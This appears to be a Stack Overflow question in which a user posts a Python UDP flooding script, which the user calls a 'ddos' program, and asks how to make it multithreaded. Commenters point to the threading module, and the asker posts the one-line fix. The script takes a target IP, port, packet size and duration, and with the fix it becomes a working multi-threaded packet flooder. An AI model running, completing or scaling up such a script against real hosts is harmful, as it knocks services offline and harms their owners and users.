0

i am trying to make this program multithreaded and i just cannot figure out what im doing wrong: so i made this little "ddos" program or however you call it but i just cant seem to make it multithreaded ive been searching on the web for over an hour and i just cant seem to fix it

import socket
import time
import random
import sys
import _thread

ipadress = input('welk ip?: ')
port = int(input('welke port?: '))
bytes_size = int(input('hoeveel bytes'))
threads = int(input('hoeveel threads'))
end_time = int(input('voor hoelang bombarderen?: '))
start = time.time()
end_time = time.time() + end_time

def stress(ipadress, port):

    while time.time() < end_time:`enter code here`
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
            s.sendto(bytes(bytes_size), (ipadress, port))
            print('packet send')

            //part whats going wrong 
for x in range(0,threads):
    _thread.start_new_thread (stress, (ipadress, port))
  • Why not using the higher level `threading` API? For that matter, what do you mean by "I can't seem to make it multithreaded" ? (have you tried printing `threading.current_thread()`?) – Adonis Jan 08 '19 at 15:22
  • i fixed the problem I used the module threading instead of _thread and I put new things in the thread which was not needed since i just had to call the function – alkan zwaans Jan 08 '19 at 19:41
  • `for x in range(0,threads): threading.Thread(target=stress).start()` – alkan zwaans Jan 08 '19 at 19:41
  • Possible duplicate of [Thread vs. Threading](https://stackoverflow.com/questions/5568555/thread-vs-threading) – Adonis Jan 09 '19 at 08:16

0 Answers0